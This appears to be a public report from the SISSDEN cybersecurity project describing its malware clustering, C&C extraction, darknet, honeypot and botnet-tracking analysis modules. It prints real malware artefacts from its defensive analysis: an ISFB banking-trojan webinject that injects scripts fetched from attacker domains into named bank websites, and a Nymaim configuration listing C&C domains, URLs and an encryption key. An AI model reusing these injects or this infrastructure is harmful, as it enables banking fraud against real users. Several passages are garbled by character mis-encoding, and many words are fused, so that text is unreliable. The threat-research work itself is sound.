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1 Introduction

1.1 Aim of the document

One of the main goals of the SISSDEN platform is to provide situational awareness of the
cybersecurity threat landscape. This comprises the detection ofthexats as they emerge,
as well as monitoring the evolution of threats once they have been identified.

lylFfeara 2F GKS NAOK RIGFraSia O2tft SOGSR oe@
obtaining such useful intelligence. Large amount of datans that the analysis must be
highly automated, therefore multiple specialized analysis modules has been developed in

the course of the project and are presented in this report.
This work has been performed as a part of the following tasks:

1 T5.1:behaviaralanalysis of malware collected by the SISSDEN platform (T5.1).
1 T5.2: long term monitoring of botnets and other malware (T5.2).
1 T5.3: identifying and classifying threats observed by SISSDEN sensors and darknets.

Additionally, a collaborative analytigallatform has been developed in the fourth task (T5.4).
The platform allows to interactively query and visualize data collected by the SISSDEN
platform, including the results of the analysis modules described in this report.

The aim of this document is torgsent developed analyses modules and insights they
provide. Examples of analyses results are also presented, to explore the capabilities of
developed modules and indicate main threats identified by particular analyses. Additionally
an overview of the angtical platform is also included. As this document is public, some of
the details are omitted, in order to not jeopardise monitoring methods that are used
operationally.
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2 Analyses and findings

This section presents an overview over the new analysedules developed in T515.3.
Analyses are split into three categories: Reconnaissance, Tracking, and Statistics:

1 Section 2.1 Reconnaissance describes analyses that detect new threats, such as new
malware strains, newly installed C&C infrastructure, opraviously unseen scan
pattern that should be monitored for further activity.

1 Section 2.2 Tracking describes analyses that monitor the behaviour of identified
threats. This includes tapping C&C communication of botnets or monitoring their
spreading behaweur observed in darknets.

1 Section 2.3 Statistics describes analyses that provide key measurements for a threat
class or data source, e.g. the number of exploit attempts in a certain interval at a
honeypot, or the number of scan events seen for a certaam sm@attern in darknets.

Most of the analysis modules are integrated in the analytical portal, some are hosted by
partners, for performance or operational reasons.

2.1 Reconnaissance

2.1.1 Malware Clustering

Name Malware Clustering
Lead by USAAR
Data Source(s) USAAR Sandboxes, malware samples

Analysis Result(s) | List of malware samples with similar characteristics

Update Frequency | On Demand

State Fully Integrated

Description

The vast amount of new malware samples observed on a daily besies automated
classification indispensable: Which samples do constitute new, unknown threats, and which
are just variants of malware families already known?

To answer this question, our malware clustering analysis considers a range of runtime
characterisics to find samples that share these characteristics.

In particular, the following network communication features are used for clustering:

1 1P addresses contacted by the malware

1 UDP and TCP protocols used by the malware (identified via sourcdestidation
port)

1 domain names resolved by the malware

full payloads sent and received by the malware

1 ngrams over the payloads sent and received by the malware

=
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In a first step, every feature is reduced to a 4@86Bloom filter, resulting in five Bloom
filters per malware execution. Over these Bloom filters, the distance between two malware
executions can then be defined as the sum of theirjgature Jaccard distance: Executions,
that have identical features will also have identical Bloom filters andethe a Jaccard
distance of zero. Executions that vary only a little in a feature will have Bloom filters that
differ only in a few positions and therefore have small Jaccard distance.

Next to the dissimilarity of two executions, the malware clustering asmputes a
confidence value to model the significance of the clustering: While the Jaccard distance for
two malware samples that contact the saméd0 hosts and send the exact sam@dD
payloads, and two malware samples that both only contact a singlé¢ Wik a single
payload is zero in both cases, the expressiveness of this finding is much higher in the first
case. Therefore, a confidence value is computed over the maximum number of entries in the
Bloom filter of both executions ranging from 0 (no ees)ito 1 (496 entries).

In the clustering phase, the-rkearest neighbour algorithm is employed to find the ten
closest malware executions in terms of the distance defined above, which are returned
together with the sha256 hashes of their respective mabvsamples. An example is shown

in Fig. 2.1.

86¢cb2e... ® Confidence
Similarity

41¢6f3.. N 82f5d2...

7e8813.. : 48ecB2..

515436.. b80do03...

89c7d6... 5437e8..

bfbbb3..

Figure2.1: Confidence and Similarity of clustering of chosen samples
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Looking at the distribution of similarity scores over all samples (Fig. 2.2) showbéhaist
majority of malware samples has at least one other sample with a similarity score of 80 or
higher. This is expected as honeypot systems will likely capture many samples from wide
spread malware campaigns rather than being the victim of targeteaths.
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Figure2.2: Distribution of similarity score over all analyzed samples
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2.1.2 Extraction of C&C Servers

Name Extraction of C&C Information
Lead by USAAR
Data Source(s) USAAR Sandboxes, malware samples

Analysis Result(s) | C&C IP addresses

Update Frequency | Daily + On Demand

State Fully Integrated

Description
Many classes of malware do not work standalone, but exchange information with a server to

accomplish their mischievous goal. BE | YL S NIyaz2yYél NB Sy ONE LI

might contact a server to transmit information about the key, a malware that aims at
building a botnet will usually register at a server upon infection and await further
commands. These servers are comiyareferred to as Command & Control servers (C&C or
C2 for short).

Knowledge about C&C infrastructure can be used in various ways: Knowing an active C&C
ASNISNJ 2F | o2GySid lftt2ea G2 GFL) Aydz2 (GKS
Furthermore, analysing how the infrastructure for a certain strain of malware behaves
allows to gain potential insights into new campaigns. Finally, the extracted information can
also be directly used to assist efforts towards disrupting active malware campaigns.

Malware can usually perform a variety of different network activity, including scanning other
hosts for potential vulnerabilities, downloading files, resolving domain names using DNS, and
communicating with its C&C infrastructure. This makes it necessary tiifidehe C&C
communication among other traffic. Luckily, oftentimes the C&C channel of a given malware
family uses a proprietary communication protocol, custom designed by the malware author.

While this means that manual work is necessary to fully undedstsuch a protocol, it also
means that these protocols often have very specific characteristics that can be used to
quickly identify C&C communication in a large amount of network traffic. This is done by
defining a malwardamily specific C&Communicaton fingerprint.

As a first step, an analyst that analyses a new strain of malware manually extracts
information about the C&C communication and creates a corresponding fingerprint. This
fingerprint is then added to a database of knouingerprints. At the time of writing,
fingerprints exist for the following malware families:

Bashlite, Carbanak, Carberp, Cerber, Citadel, Cryptowall, DirtJumper, Dorkbot, Dridex,
FakeRean, Fareit, Foreign, Fynloski, Ghost, Hajime, Installcor, Inst&R&tealer, Kelihos,
Kronos, Kuluoz, Lethic, LinuxIRC, Locky, LuminosityLink, Mirai, Napolar, Nitol, NJRat,
Nymaim, Palevo, Poisonlvy, Pramro, Pushdo, Qakbot, Ramnit, Recslurp, Reveton, RM5f,
SalityNonP2P, SalityP2P, Shinspy, Shiotop, SpyEye, Tinba, TofSey, Vawtrak, Virut,
Winwebsec, Yoddos, ZeroAccess, and ZeusP2P.

6 { L {-whv@sizsdereu -8- 201904-29
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The C&C Extraction module works on the network traces recorded by the USAAR sandbox.
These network traces are first reassembled into individual flows, where every flow describes
the bytestransferred between a specific port at the remote host and a specific port at the
sandbox via either UDP or TCP. Data bytes in these flows are then compared against the
known fingerprints from the database. If a positive match is found the corresponidwgd

tagged and the remote host and port are reported as a C&C server.

For example, Fig. 2.3 shows a screenshot of a malware sample belonging to the Lethic_A
family. The system successfully identified the connection to 91.232.105.121 on port 5500 as
C&Ccommunication.

Execution Developer Mem
SHA256 Forensics

families

Lethic A

Figure2.3: The system identifying Lethic_A

Over the entire project period, 258655 C&C servers were identified, the majority of them
located in the US, followed by Germany, Russia, the étksthds, and Ireland (Fig. 2.4)

Figure2.4: Breakdown of countries hosting identified C&C servers
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2.1.3 Mobile Malware Analysis

Name Mobile Malware Analysis

Lead by USAAR

Data Source(s) Malware collected by SISSDEN

Analysis Result(s) | C&C IP addresses

Update Frequency | On Demand

State Fully Integrated

Description

Past malware did primarily target Windows systems due to Windows' predominance on the
desktop market, which meant a hugeimber of potential malware hosts, and Linux systems
which are commonly used in server systems. Although the threat of Windows malware
seems neveending and Linux based malware even saw a renaissance due to low cost
Internet-of-Things devices, a third plarm has become a new target for malicious software:
Mobile devices.

This analysis module extends the sandboxing capabilities of SISSDEN with support for
Android, the primary operating system on mobile devices today. Towards this, the Android
emulator wasntegrated into the USAAR sandbox system.

Whenever an Android sample is submitted to the sandbox, a fresh, emulated Android device
is restored from a snapshot. Restoring devices from a previously saved snapshot allows to
skip the lengthy boot sequence @éindroid, which greatly increases sandbox performance.
The emulated Android device is connected to a virtual bridge interface, which allows the
sandbox system to record all network traffic performed by the android application. Next, the
sample is installedn the device using the Android Debug Bridge (adb), and its manifest file
is scanned for registered activities. Oncedmvice installation finished, intents are sent via
adb to the device in order to launch the application.

Great care has been taken to sme that the implementation of the mobile malware
analysis component exposes the same interface as the existing malware sandboxing
components for Windows and Linux malware. This ensured that further analyses modules,
such as the C&C extraction or the ¢tkréng (as presented above) can also be executed on
results from the mobile malware analysis.

6 { L {-wsvasissdereu -10- 201904-29
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2.1.4 Darknet Botnet Analysis

Name Darknet Botnet Analysis

Lead by CYBE

Data Source(s) CYBE Darknet, Third-party Darknet

Analysis Result(s) | Bot IP, associated metadata

Update Frequency | on demand

State Prototype

Description

The CYBE distributed darknet collector records scanning and backscatter events in three
different locations in Europe. By having multiple presences and direct peagiregments,

GKS RAAUONROGdzISR RINJySiG OFYy RSGSN¥WYAYS GKS Y3
proof of concept was deployed in Sweden and the Netherlands with direct peering
agreements in Amsterdam AMSIX and NLIX.

An APl was developed to interfaseith the Darknet storage and each of the packets
recorded is indexed (20+ fields in April 2019). The API allows to interface directly with the
Darknet data and obtain aggregated results from the following attack vectors: exploitation
(CLDAP, SNMP, SMB,PNTSSDP), botnets (Mirai, Satori), recent DDOS Amps vectors
(memcache), VoIP (SIP scans).

The Darknet analysis modules also provide means to identify victims of DDOS attacks by
backscatter traffic analysis. The module has successfully identified the tygtoks against

the victims and type of mitigation hardware deployed to protect the victims. Full packet
search on UDP payloads has been used to identify C&C from Netis router exploiters.

The analysis platform for the collectors is running in a commobaydware running
Elasticsearch in a RA#d 10TB storage and slow 1/O that limits the performance of the API.
Long term analysis requires a better hardware setup.

The prototype shows that distributed darknet recording with full packet procegsiogdes
extra intelligence to track spoofed traffic as TTL values can conclusively determine the
nature of the traffic.
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2.1.5 CVE Mapper

Name

CVE Mapper

Lead by

T-Labs

Data Source(s)

CVE data available in external sources and honeypot events

Analysis Result(s)

Mapping of honeypot events to CVE numbers

Update Frequency | periodic
State Implemented
Description

CVE mapping enables us to assign a standardized description for known vulnerabilities. By
querying the API periodically, the honeypot events enlected. The CVE data available in
external sources (if any) is another input to this analysis. The correlation between Suricata
events/alerts and honeypot events is computed. By conducting this analysis, we can
evaluate the coverage of tools and sengqarovided by the project. Moreover, it facilitates

the data exchange between this project and other relevant projects, services, and products.
At the same time, it saves the Suricata events to a local file, in case we want to use the
information in furthe investigation (for instance, search for source IP address in the other
Honeypots for potential matching).

6 { L {-whv@sizsdereu

-12-

201904-29



SISSDERG.3 H2026DS2015m K Y00176

2.1.6 SSH Session Analyzer

Name SSH Session Analyzer
Lead by T-Labs
Data Source(s) Cowrie honeypot events

Analysis Result(s) | Checksums for SSH logs, family detection

Update Frequency | periodic

State Prototype

Description

The SSH analyser calculates different forms of checksums on terminal input. One checksums
is a very exact one, the other checksum is rather fuzzy to enable the detection of families. In
particular the fuzzy checksum first tokenizes that input data streemoves all non
relevant parts and then performs a classical checksum. The checksums created can be made
available to the public, also the calculation code will be made public. The results can be used
to see which attack patterns belong to which familyn€equently, also infected hosts can

be matched to malware groups. The checksumming routines are implemented as python
code without any third party dependencies.

Events are clustered based on the information derived from the logs captured by Honeypots
suchas Glastopf and Cowrie. Trace of the commands and credentials, which attackers used
in order to attack the system, are applied in to machine learning algorithm for clustering
based on an algorithm such asm€ans and DBSCAN (Denddsed Spatial Clustegnof
Applications with Noise).

The aim of clustering the attacks of these honeypots is finding the similarities between
attack behavioursof different attackers. Attacks such as polymorphic worms are able to
change theirbehaviourmultiple times to be hiddn and to bypass any intrusion detection
system. They change the payload of their messages multiple times such as changing the
order of the commands or used credentials which they try, number of attempts and the time
of the attacks. Machine learning is awerful tool for categorizing this type of attacks to
detect complexity in the patterns.

One sophisticated attack could be considered many times as a new attack in the normal
situation, but if there were a possible similarity between them, then they caclbstered
under one category and the model could be extracted and be used for detecting any future
attacks.

This method is applied to the selected fields of SSH logs from Cowrie Honeypot. The fields
INE a!yly26y [ 2YYlIYyRaé | y Rgscontdib Geslehiiak wiich ¢ ® { {
attackers attempts to log into SSH Server. These credentials have been fed into machine
learning algorithms such as-mfeans, DBSCAN (Dendigsed Spatial Clustering of
Applications with Noise) for further analysis.

The clusteng methods are used to categorize the pattern of these SSH login attempts. For
instance, one individual attack is able to change the number of tries, the order and the time

6 { L {-wsvasissdereu -13- 201904-29
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interval between individual trials. These patterns are detected by tneekins ad DBSCAN
algorithms and are categorized accordingly. Other information of the events that fall into
these categories such as source IP addressesould be monitored and considered as
suspicious. Without categorizing, these changes of behavior of oneylar attack could be
confusing in terms of detection of a special malware or malicious activity. This clustering
provide security experts with a comprehensive information about a specific type of attacks.
The cluster detect all variant of same attacktgad of reporting many different aspects of it

as different attacks.

In Figure 2.5 and Figure 2.6 the clusters and the number of events falling into each category
are shown. The number of clusters in advanced method such as DBSCAN are defined by the
algonthm itself (Fig. 2.5). The distance between possible categories affects the number of
clusters.

14000 1

13000 4

DESCAN Clags

=] ] | L} naise L] 5 b T
Chasters based on DbScan Algorithm

Figure2.5: Categories attacks based on similarities in theinaviours (DBSCAN Clustering
Algorithm)

The Kmeans algorithm (Fi@.6) has the disadvantage that the number of clusters has to be
predefined, which may not describe the possible cluster of attacks aatetyu
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Figure2.6: Clustering based ontkeans algorithm
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2.1.7 Darknet Reputational Analysis

Name Darknet Reputational Analysis

Lead by CYBE

Data Source(s) CYBE Darknet, Third-party Darknet

Analysis Result(s) | Bot IP, associated metadata

Update Frequency | on demand

State Prototype

Description

This task uses experimental reputational analysis techniques to detect bots. It combines
analysis of the traffic with reputationahformation about the source IP/subnet/ASN. This
can then be compared in relation to other requests detected historically by the distributed
darknet.

Primarily two modes of comparison have been used during this task:

1. Top actors correlated with honeypot IPsSuspicious traffic received by the CYBE
darknet is aggregated on a daily basis and inserted into 3 Elasticsearch indexes (see
G5FNylySG 5FGF {dFraAaarOaéds aSO0A2Y HPoODPT L
retrieved via the CYBE darknet API andadated with IPs from honeypots. This gives
additional insight into the source of attacks on honeypots, especially in cases where
the IP is spoofed and can be.

2. Bots correlated with top actors.Data on the top actors retrieved via the CYBE
darknet API is also correlated with identified attacks from the CYBE darknet (see
G5FN]yShG .2G0ySi 'ylrtearaeés aSOGA2y HOMDN(
of attacks launched from particular LPs
C2NJ SEI YLX S Ay (GKS a5FNyySaG .2GySd !yl ¢
can be attributed to botnets and other specific attack vectors. However, once a single
attack vector has been identified, the likelihood is that other traffic from sase IP
aimed at the darknet is also malicious in nature, even if the specific attack vector is
unidentified. This provides interesting data which is analysed and used to improve
the detection of other attack vectors and/or emerging threats.

6 { L {-wsvasissdereu -16- 201904-29
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2.2 Tracking
2.2.1 Botnet Command Tracking

Name Botnet Command Tracking
Lead by NASK
Data Source(s) NASK malware analysis system

Analysis Result(s) | Dynamic malware configuration and control information sent in it, e.g.
C&C addresses, web injects, spam templates, distribution server
addresses

Update Frequency | live

State Fully deployed and integrated

Description

Malware tracking system collects dynamic malware configuration. The main part is a
dynamic malware configuration extraction framework called Mtracker. It supports a number

of malwarespecific modules to contact C&C servers or peer bots to download the most
recent configuration. The framework provides task scheduling, control of workers'
operations, network access via multiple proxy servers and fetches new C&C connection
parameters from the static malware configuration extraction system (described in section
222). Fig. Z LINBaSyita aeaidsSyQa shrh avkdgedvloNIRe sysfeR CA 3 d
functionality.

miracker status timelines trackers bots tasks configs peers binaries proxies about

Dashboard

Few bots crashed during execution!

cpu load
uptime
58 fransactions

& In progress 466 falling crashed archived
Recent configs
# via dynamic config first seen last seen
2990 ™™ frickbot.61d3d869 (13789) 7feda2? 4a6fE9 390008579464a1a677681bddd5a52e6639bb56T4df  2019-04-25 17:33:49 2019-04-25 17:33:49
2989 ™® yrickbot.0113beta (9900) 93 GeavbBaZ 7 7187f64684ee2f1d73fa1288474f910a98aa  2019-04-25 17 2019-04-251
2088 ™ frickbot.fa78767c (13748) 6eefgibaselchBfaa?la5ca36B0fad7acTa248659606dede1dalazascl19e1b0  2019-04-25 16:27:52  2019-04-25 16:27:52
2987 ™™ frickbot.d728cbaf (136815) B3f7d6724a2e316e41d9e5936a9dd5052770012d51Ffa54992a63d6e76f4eda72 2019-04-25 12:21:16 2019-04-25 12:39:36

2986 ™™ irickbot.665eac35 (9780) 26833eb572097deed6h6ebg10518519742becodTed2fho8Tas1e3f4af172b39b  2019-04-25 09:12:33  2019-04-25 16:05:34

Figure2.7: Mtracker dashboard
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Figure2.8: Overview of the system functionality

Mtracker framework serves as an execution and control environment for workers, which are
emulating bots. Architecture overview (including cooperation with the Ripper framework
presentedin section 2.2.2) is presented in Fig9.2Static configuration, which contains
information required to connect to a C&C server, is extracted from malware samples by the
Ripper module and stored in a configuration database. Mtracker downloads static
configuration as an input for the worker, as it is required to connect to the botnet
infrastructure. The framework uses a set of proxy servers to emulate different geographic
locations, thus providing the ability to track campaigns targeting different countoigsalso
counteract to IP address blacklisting by botnet operators. Additionally, usage of a passive
DNS system helps to connect to C&C servers, which domains were seized by authorities,
however still operating on the original IP address.
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Figure2.9: Mtracker architecture overview

6 { L {-wsvasissdereu -18- 201904-29



SISSDERG.3 H2026DS2015m K Y00176

Bot modules are small programs or scripts mimicking real bots. They are developed using
knowledge from reverse engineering of particular malware families. Such scripts davet h

full functionality of original malware bots, they only emulate functions needed for collection
of dynamic configuration. They can contact real C&C servers in order to obtain dynamic
configuration or, in case of P2P botnets, connect to other bots. A dmtnets introduced
modularity and traffic obfuscation, bot modules also handle such scenarios, in order to
decode complete payload distributed to bots.

Mtracker is integrated with the static malware configuration extraction system to track new
malware bnaries that successfully passed the static analysis phase. Additionally, any
executables (malware modules, plugins, updates) obtained by Mtracker are uploaded back
into the static malware configuration extraction system.

Depending on the malware family,thMcker can download various information contained in
dynamic configuration, for example webinjects used by banker trojans, spam templates used
by spambots, URI to malware samples in case of downloaders, but also addresses of the
botnet infrastructure. Arexample of webinjects of ISFB banker is presented in Aig. 2.

set_url *relaxbanking.it*

replace: <!DOCTYPE**</title>

inject:

<IDOCTYPE**</title=<script id="srcl" src="https://fattotalo.vip/lancher/in/relax/rel.php?id=@ID@"></script>

<script id="src3">

window.delsrc= function (a){if(document.getElementById(a)) document.getElementById(a).parentNode. removechild(documen
delsrc("srcl"),;delsrc("src2"),;delsrc("src3"),;delete delsrc;</script>

end_inject

set_url *fineccbank.com*

replace: <!DOCTYPE**<head=

inject:

<IDOCTYPE**<head=><script id="srcl" src="https://fattotalo.vip/lancher/in/fineco/fin.php?id=@ID@"></script=

<script id="src3">

window.delsrc= function (a){if(document.getElementById(a)) document.getElementById(a).parentNode. removechild(documen
delsrc("srcl");delsrc("src2"),;delsrc("src2");delete delsrc;</script=>

end_inject

set_url https://corporate.bpergroup.net/eb/™

replace: </head>

inject:

<script type="text/javascript" id="src_ 000" src="https://bazoinf.us/kenta/in/bpergroup/bpe.php?id=@ID@"></script=
</head>

end_inject

set_url https://scrigno.popso.it/ihb/run*

replace: </body>

inject:

<script type="text/javascript" id="src_ 000" src="https://bazoinf.us/kenta/in/popso/pop.php?id=@ID@"></script>
</body>

end_inject
Figure2.10: An example of a webinject of ISFB (banker trojan)
Mtracker framework outputs extracted information as sestructured plaintext data (web

injects, spam templates, dynamic configuration) or binaries (malware modules, plugins,
updates).

On M36 of the project the system extracted aboub@ dynamic configurations ung
14500 bot instances and is able to track 28 malware families or their modules (for malware
that has plugirbased architecture), as presented in Tab. 1.
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Table 1: Malware families and modules trackable by Mtracker

Number Family name Number Family name
1 Andromeda 15 Nymaim

2 Chthonic 16 Ostap

3 Danabot 17 Panda

4 Danaloader 18 Pony

5 Dridex 19 Pushdo

6 Emotet 20 Quantloader
7 Emotet spam 21 Ramnit

8 Globeimposter 22 Smokeloader
9 Gootkit 23 Tinba

10 Hancitor 24 Tinynuke

11 ISFB 25 Tofsee

12 Kronos 26 Trickbot

13 Locky 27 VMZeus

14 Necurs 28 Zloader

Mtracker system has many advantages over traditional sandboxes:

T itis lightweight: hardware requirements are not high even with 300 trackers,
1 nomalicious traffic is sent by the emulated bots,
1 in most of the cases, the system downloads the commands without delay.

Nevertheless the system requires significant amount of time for the initial analysis of new
malware families and their communication poabls. Afterward, maintaining of the modules

is also time consuming as malware families change over time, which can impact the tracking
operations.

58ylFYAO O2yFAIdzNI A2y SEGNI OGSR o0& I+ Y2RdzZ &
instance and from there&an be browsed and shared. Multiple dynamic configurations are
grouped in events, which represent a single tracker (bot emulator) with its associated static
configuration (configuration embedded in a malware sample containing C&C connection
details, morenformation in section 2.2.2). Fig.1A.presents automatically imported tracker
information (recent Trickbot, Danabot and ISFB instances):
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Events
2 next »
n My Events  Crg Events
Published Org OwnerOrg K Clusters Tags #Attr. #Corr. Email Date Infa
» SISSDEN SISSDEN 573 423 29 2019-04-15  trickbot -

dd8efd47d06f2ef257bb46619d164245de0726292abe0al 772cda7288b5b33ea

® SISSDEN SISSDEN 572 3 2019-04-15  trickbot -
f0899170a28c2ef1223064b00b1f1825c7id74ac1 5f4d2694ae148f63083bd15

x® SISSDEM SISSDEN 553 863 29 2019-04-15  trickbot -
0309d650ch61b10d6d940e68f38a086321c38880213bdc36df0101d70f055bee

x® SISSDEN SISSDEN 571 3 2019-04-15 danabot -
b49d2040d31bf1 6fab7e7f3e3280912236d437287e4dcd5480c9157802b24d28

x® SISSDEMN SISSDEN 581 1720 29 2019-04-15  trickbot -
c0a6B83ea5cab1463c59bb719178c61467a5c55b82142421e9e0e1a171818de95

x® SISSDEN SISSDEN 570 3 2019-04-15  trickbot -
ea79cdcb691dbc8a067b56{526245i6c7c66f0658818923dda5ha9fabe42baat

x® SISSDEMN SISSDEN 549 1303 29 2019-04-15  trickbot -
e120af9a3fc6a743ccde1 a5a7a650451e630599e349c9d1 774c4adadBcfd 7238

x® SISSDEN SISSDEN 554 1719 29 2019-04-15  trickbot -
2ale70e61044ch88cad01faf6a7e58e17a4a60fd64ci7a0lkc7428fd7d8314381

x® SISSDEM SISSDEN 589 860 29 2019-04-15  trickbot -
d43b1928c3f5aea3fc4252d5d60fedfa58883d083dad8bab0b13392622d8706a

x® SISSDEN SISSDEN 544 5 2019-04-15 isfb-
52ce03aa40dd0d1c595a36258f1c98ich7885440e371692{79b2eecd69a27c5d

Figure2.11: Dynamic configuration extracted by Mtracker system available in the MISP instance

Information provided by Mtracker can be successfully used to track botnet commands and
infrastructure. It is a valuable source of cyber threat intelligence, because the islata
obtained directly from botnet infrastructure, without any delays. Thus providing operational
and actionable information of high quality and reliability.
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2.2.2 Extraction of static malware configuration

Name Extraction of static malware configuration
Lead by NASK
Data Source(s) Malware collected by SISSDEN, NASK's internal sources

Analysis Result(s) | static malware configuration (including C&C information and
cryptographic keys)

Update Frequency | live

State Fully deployed and integrated

Description

Malware static configuration extraction subsystem is used to extract configuration data (C&C
addresses, communication keys etc.) from analyzed malware samples. The subsystem
schedules execution of malware samples in a sandbox environment, performs memory
dumping, static binary analysis and stores results in a database. It is also integrated with the
Mtracker framework (section 2.2.1), as the Mtracker uses information provided by this
subsystem as input data.

Major part of the subsystem is the Ripper framm, which is equipped with malware
specific analysis modules, developed after successful reverse engineering a particular
malware family. These modules extract static configuration from memory dumps and binary
files. Please note, that the framework itseff developed and operated outside of the
SISSDEN project, however the results are shared within the project and multiple modules
were developed as a part of the project.

Configuration extraction works as follows. Analyzed malware sample is executed Yn<NAS
sandbox environment to obtain memory dump of malware process. The main goal of this
step is to unpack malware or let it download and save (drop) the final malicious executable
on the machine. Then the Ripper framework performs analysis of the obtdilesdand
dumped memory in order to extract static malware configuration.

The current version of the subsystem supports extraction of static configuration of about 60
malware families. Content of a static configuration varies between malware families,
however it often includes C&C servers' domains, DGA seeds, cryptographicfokeys
communication with the C&C, version information. Sample configuration of a Nymaim
malware produced by the Ripper system is presented in Fig: 2.
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dns 8.8.8.8:53,8.8.4.4:53
domains olseneinfeis.com, gedstines.com
encryption_key gx3Gd93kdXdjd]dGdg573

fake_error_message Acrobat Reader;Can not view a PDF in a web browser, or the PDF opens outside the browser.

notepad_template %owindir%e\system32\notepad.exe;%windir%\system32\notepad.exe

public_key 11113205665845436812651904385750414999552913569403314469251258315749133996891461405161790020758234!
65537

timestamp 2017-02-14 13:35:21

urls http://olseneinfeis.com/hue53ypdi/index.php,http://gedstines.com/hue53ypdi/index.php

Figure2.12: An example of extracted static configdion of Nymaim banker

¢KS RIFIGF LINPRdzOSR o6& YItglFINB aGFrGAO O2y FAI3dzN
MISP instance as a structured JSON attachment to an event representing a single tracker.
This object also holds information about extractedlmare dynamic configuration and is

further explored in section 2.2.1. The idea behind such grouping is that Mtracker can use
particular static configuration to extract many dynamic configurations, thus it is one to many
relation. An example of static mahre configuration is presented in Figl2.

Date Org Category Type ¢ Value Tags Gakiies Comment Corrchte Relted Feed IDS Distribution Sightings
Events  hits
2019-04-15 Artifacts dropped attachment dd8eida7d06f2ef257bb46619d164e45de0726292abe0a1772eda7288b5 Add static config [+ Inherit R F
b33eajson (onm)
. 2019-04-15 Name: mtracker-config Inherit
References: 00
2019-04-15 Other family: trickbot Inherit G F
text (o0M)
2019-04-15 Other config_id: 177 0dl3b0ffb1137cbaa71 5303860 16995 Inherit &R F
text 9b154 (©0m)
2018-04-15 Network activity malicious_url: 66.85.27.117:447 4 513518 & Inherit &R F
url 514514 (onm)
Show 72
more
2018-04-15 Network activity  malicious_url: 108.174.60.197:443 Add v ¥ Inherit 1} F
url (00M)
2019-04-15 Network activity icious _url:  cksaynvgeustplhbkj giom.net Add 7 513514 7 Inherit R F
url 515517 (o0M)
Show 32
more..
2019-04-15 Network activity icious_url: cqsawlgdxvly kjeuagpzi.net Add v 513514 ¥ Inherit R F
url 515517 (onm)
Show 32

Figure2.13: Malware static configuration available in the MISP instance

Top 10 malware families by number of static configurations provided to Mtrackermsaste
presented in Tab. 2.

Table2: Top 10 malware families by number of static configurations provided to Mtracker system

a ale 1a a > per O a O 0 allO

ISFB 558
Trickbot 330
Smokeloader 210
Nymaim 184
Emotet 168
Necurs 94
Panda 89
Danabot 79
Ramnit 65
Hancitor 60
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2.2.3 PGAbased Botnet fingerprinting

Name PGA-based Botnet fingerprinting
Lead by NASK
Data Source(s) Darknet/honeypot traffic, sandboxes

Analysis Result(s) | Botnets/malware packet generation signatures

Update Frequency | 1/5 minutes

State Fully integrated

Description

PGA (Packet Generation Algorithm) module leverages knowledge of malware networking
stack implementation. It inspects traffic originating from botnets or other malicious software
in order to link them to specific network signatures.

Malware, botnets or pagntially malicious tools (like scanners) often utilize different packet
generation algorithms, in order to simplify packet generation procedure or make it more
performant. These procedures are usually based on some simple operations, for example:

1 byte swaping,
1 value increment,
1 value hardcoding.

These signatures can be usually spotted in the scanning or DoS traffic. Fiyupeeaents
an example of a PGA signature in DNS traffic (scanning) observed in the NASK darknet.

VCONOUVHLWNR

(G
(G
(G
(G
(G
(G
o
(G
(C)
e
0
(S
(S
(G
(G
(G
(G
(G
o
(G

IP SRC IP DST IP ID SPORT DPORT DNS ID

Figure2.14: Example of PGA signatures in DNS traffic observed in the NASK darknet
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It can be easily spotted that three particular fields are connected with each other: Source IP
address, IP ID and DNS ID. All of 20 presem¢ddork packets have following signatures in
IP and DNS protocols headers:

1 IP_ID=DNS_ID

f IP_ID[1] +1 = IP_SRC[4]

1 DNS_ID[1] + 1 =IP_SRC[4]

1 IP_ID[4] = IP_SRCJ3]

1 DNS_ID[4] = IP_SRC]J3]
PGAbased botnet fingerprinting operates mainly on the darknet trafAccustom system
was developed from scratch tanalyseprotocol headers in network packets and identify
relations between particular bytes in those headers. Consequently, it allows to apply such
rules for the analysis of malicious traffic and, in some casesn perform attribution of
attacks, for example: which botnet is responsible for scanning or exploitation or which group
is responsible for a particular Denial of Service attack.

Figure 215 presents an example of PGA signatures matched during DoS attacks targeting
one of Google IP addresses. These signatures were observed in backscatter from a SYN flood
attack, thus were detected in TCP SAGK packets.

PGA signatures detected during SYN FLOOD

20k
15k

10k

Packet Count

5k

DPORT = ACK[1:2] ACK[3:4] = Ox0000 DPORT = IP_DST[3:4]
Figure2.15: Signatures in S¥YAICK packets originating from a SYN flood DoS attack

As these signatures were visible in server responses, they can be easily transformed to
signatures that could have been observed in original SYN packetgardéooding:

f SYN/YY 5thwe¢ T !/ YomMYHB Th {,bY {thwe¢ T {9
f SYN/YY !/ YooYn® I nEnnnn ™H{,bY {9vwoYns
f SYN/YY 5thw¢ I Lty5{¢woYn6 M{.bY {thwe¢ T

Knowing that this attack was performed with three above mentioned signatures it
possible to link this particular attack with others using the same technique.
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To sum up, PGA module allows to create new signatures based on Header
characteristics of network attacks and facilities attribution actions (detection of tools or
malware).
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2.2.4 SMTPbased Botnet fingerprinting

Name SMTP-based Botnet fingerprinting
Lead by NASK
Data Source(s) NASK spamtraps, sandboxes

Analysis Result(s) | Botnet SMTP dialects, IP to Botnet mapping

Update Frequency | live

State Fully integrated

Description

The main goal of this analysis is to monitor spamming activities of specific botnet families
and identification of infected machines by analysis Hewel properties of SMTP
conversations, i.e. SMTP dialects. This approach allows to observeabe® in SMTP
implementations and link them to specific malware families. This in turn enables attribution
of infections and spam campaigns to specific botnets.

SMTPbased Botnet fingerprinting module was developed from scratch and analyses
protocol implementation details of an SMTP client. The idea is simple: collect data
concerning SMTP implementation of common tools like Mozilla Thunderbird or Microsoft
Outlook and compare it with the SMTP implementation in the monitored TCP connections
(during email tansfer). Moreover, some of the Internet Message Format (IMF) headers can
be also included during the analysis. For instance, 48gent or XMailer headers can be
used to detect attempt of user agent spoofing (dialect does not match the specified mailing
client).

Fig. 216 presents an example of a dialect analysis process. Following steps of analysis can be
pointed out:

1 Incoming SMTP dialect matches the Thunderbird SMTP implementation.
1 Normally, this dialect would be classified as legitimate. HowevéWaler header
Ay Of dzZRSR Ay SYIAf YSaalri3iS Aa &aLISOAFASR | a
1 Incoming SMTP dialect is compared with Microsoft Outlook dialect.
1 As those two dialects does not match, incoming SMTP dialect is marked as malicious
(implementation of SMTP doe®t match the specified email client).
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Figure2.16: Example of dialects analysis

As SMThased botnet fingerprinting operates also on sandbox traffic, it is possible to track
behaviors and SMTP implementations of spamming botnets. An example of such analysis is
investigation of a malicious eFax spamming campaign which included M& @féoments

(that were used to install a malware dropper), where the Sendsafe botnet was responsible
(Fig.2.17).

